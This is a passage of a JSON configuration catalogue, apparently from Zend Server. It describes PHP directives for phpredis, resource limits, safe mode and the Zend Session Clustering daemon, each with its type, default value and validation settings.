                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.names": {
                "shortDescription": "Comma separated list of available Redis Arrays",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.functions": {
                "shortDescription": "Set callback functions for defined names.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.index": {
                "shortDescription": "Define index values for particular array names",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.previous": {
                "shortDescription": "Backup list of nodes for use by redis.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.clusters.read_timeout": {
                "shortDescription": "Read timeout of redis cluster nodes (in seconds).",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.clusters.seeds": {
                "shortDescription": "Sets the cluster servers of redis.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.clusters.timeout": {
                "shortDescription": "Timeout of redis cluster nodes (in seconds).",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.connecttimeout": {
                "shortDescription": "Timeout for creating a redis socket connection, in seconds (s).",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.distributor": {
                "shortDescription": "Provide a custom function or closure for key distribution",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.lazyconnect": {
                "shortDescription": "Connection setup strategy",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.pconnect": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.readtimeout": {
                "shortDescription": "Timeout when waiting response from server, in seconds (s)",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.retryinterval": {
                "shortDescription": "Delay between reconnection attempts, in milliseconds (ms).",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.clusters.persistent": {
                "shortDescription": "Tells phpredis whether persistent connections should be used",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.session.lock_expire": {
                "shortDescription": "Lock lifetime (in seconds)",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.session.lock_retries": {
                "shortDescription": "Maximum number of retries (-1 means infinite).",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.session.lock_wait_time": {
                "shortDescription": "Waiting time between attempts to acquire lock, in microseconds (\u00b5s).",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.session.locking_enabled": {
                "shortDescription": "Should locking be enabled",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.algorithm": {
                "shortDescription": "Redis redis.arrays.algorithm",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.auth": {
                "shortDescription": "Redis redis.arrays.auth",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.arrays.consistent": {
                "shortDescription": "Redis redis.arrays.consistent",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.clusters.auth": {
                "shortDescription": "Redis redis.clusters.auth",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.clusters.cache_slots": {
                "shortDescription": "Redis redis.clusters.cache_slots",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.pconnect.connection_limit": {
                "shortDescription": "Redis redis.pconnect.connection_limit",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.pconnect.echo_check_liveness": {
                "shortDescription": "Redis redis.pconnect.echo_check_liveness",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.pconnect.pool_pattern": {
                "shortDescription": "Redis redis.pconnect.pool_pattern",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "redis.pconnect.pooling_enabled": {
                "shortDescription": "Redis redis.pconnect.pooling_enabled",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Reflection": {
        "name": "Reflection",
        "extensionId": "reflection",
        "isDaemon": 0,
        "shortDescription": "PHP Reflection Support",
        "longDescription": "PHP 5 comes with a complete reflection API that adds the ability to reverse-engineer classes, interfaces, functions and methods as well as extensions. The reflection API also offers ways of retrieving doc comments for functions, classes and methods.",
        "iniFileName": "reflection.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "Resource Limits and Tuning": {
        "name": "Resource Limits and Tuning",
        "extensionId": "Resource Limits and Tuning",
        "dummy": "1",
        "isDaemon": 0,
        "shortDescription": "Resource Limits and Performance Tuning Directives",
        "longDescription": "Resource Limits and Performance Tuning Directives",
        "iniFileName": "",
        "subPath": "",
        "zendExtension": false,
        "directives": {
            "max_execution_time": {
                "shortDescription": "Maximum time in seconds a script is allowed to run before it is terminated",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "max_input_nesting_level": {
                "shortDescription": "Sets the max nesting depth of input variables (i.e. $_GET, $_POST..)",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "memory_limit": {
                "shortDescription": "Maximum of amount of memory in bytes that a script is allowed to allocate",
                "type": 5,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^(?:(?:-1)|(?:[0-9])+[K|M|G]?)$\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "max_input_time": {
                "shortDescription": "Maximum time in seconds a script is allowed to receive input data",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": -1,
                    "maxValue": 3600,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "max_input_vars": {
                "shortDescription": "How many input variables may be accepted. Use of this directive mitigates the possibility of denial of service attacks which use hash collisions. If there are more input variables than specified by this directive, an E_WARNING is issued, and further input variables are truncated from the request. This limit applies only to each nesting level of a multi-dimensional input array.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "exit_on_timeout": {
                "shortDescription": "\n\t\t\t\t",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.signal_check": {
                "shortDescription": "To check for replaced signal handlers on shutdown.\n\t\t\t\t",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "hard_timeout": {
                "shortDescription": "In case the \"soft\" timeout wasn't handled \"safely\", PHP process will be terminated without attempt to free any resources.\n\t\t\t\t",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "realpath_cache_size": {
                "shortDescription": "Determines the size of the realpath cache to be used by PHP",
                "type": 5,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[0-9]+[K|M|G]?$\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "realpath_cache_ttl": {
                "shortDescription": "Duration of time for which to cache realpath information for a given file or directory",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.enable_gc": {
                "shortDescription": "\n\t\t\t\t",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Safe Mode": {
        "name": "Safe Mode",
        "extensionId": "Safe Mode",
        "dummy": "1",
        "isDaemon": 0,
        "shortDescription": "PHP Safemode Directives",
        "longDescription": "PHP Safemode Directives",
        "iniFileName": "",
        "subPath": "",
        "zendExtension": false,
        "directives": {
            "safe_mode": {
                "shortDescription": "Whether to enable safe mode of PHP",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "safe_mode_exec_dir": {
                "shortDescription": "Safe Mode execution directory",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "safe_mode_allowed_env_vars": {
                "shortDescription": "Setting certain environment variables may be a potential security breach",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "safe_mode_protected_env_vars": {
                "shortDescription": "Environment variables that are not changeable using putenv()",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "disable_functions": {
                "shortDescription": "This directive allows you to disable certain functions for security reasons",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "safe_mode_gid": {
                "shortDescription": "Whether to enable PHP safe mode",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "safe_mode_include_dir": {
                "shortDescription": "UID\/GID checks are bypassed when including files from this directory and it",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "disable_classes": {
                "shortDescription": "This directive allows you to disable certain classes for security reasons",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "open_basedir": {
                "shortDescription": "Limit the files that can be opened by PHP to the specified directory-tree",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "scd": {
        "name": "scd",
        "isDaemon": 1,
        "shortDescription": "Zend Session Clustering Daemon",
        "longDescription": "Zend Session Clustering Daemon",
        "iniFileName": "scd.ini",
        "subPath": "",
        "directives": {
            "zend_sc.global_directives_ini_file": {
                "shortDescription": "Global Directives ini file.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "GLOBAL_DIRECTIVES_INI_FILE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.daemon.enable": {
                "shortDescription": "Should the daemon start in normal run or stand by.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.daemon.log_verbosity_level": {
                "shortDescription": "The Log's verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.daemon.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.number_of_threads": {
                "shortDescription": "The number of worker threads.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": 255,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.network.hostname": {
                "shortDescription": "The identification of the running machine.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "localhost"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.network.tcp_port_remote": {
                "shortDescription": "The port via which the daemon will receive connections from other daemons.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10060"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": 65535,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.network.use_unix_sockets": {
                "shortDescription": "Communication with the mod cluster: 0 TCP, 1 Unix socket.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.network.tcp_port_local": {
                "shortDescription": "The TCP port SC daemon listens to communicate with the local mod cluster.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10062"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.network.unix_socket_permissions": {
                "shortDescription": "When the daemon is run, it creates a scd.sock file with these permissions [octal permission]. ",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0600"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.ha.enabled": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.debug.logs_cache_enable": {
                "shortDescription": "For Zend Support Only. Enable\/Disable cache log. Buffer to hold the log messages before dumping them to the log",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.debug.log_cache_size": {
                "shortDescription": "For Zend Support Only. Size of the log cache buffer in number of lines",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_sc.debug.time_for_verbosity_level_five": {
                "shortDescription": "For Zend Support Only. Time in seconds of verbosity level 5 after the dropping of the log cache buffer",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "7"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
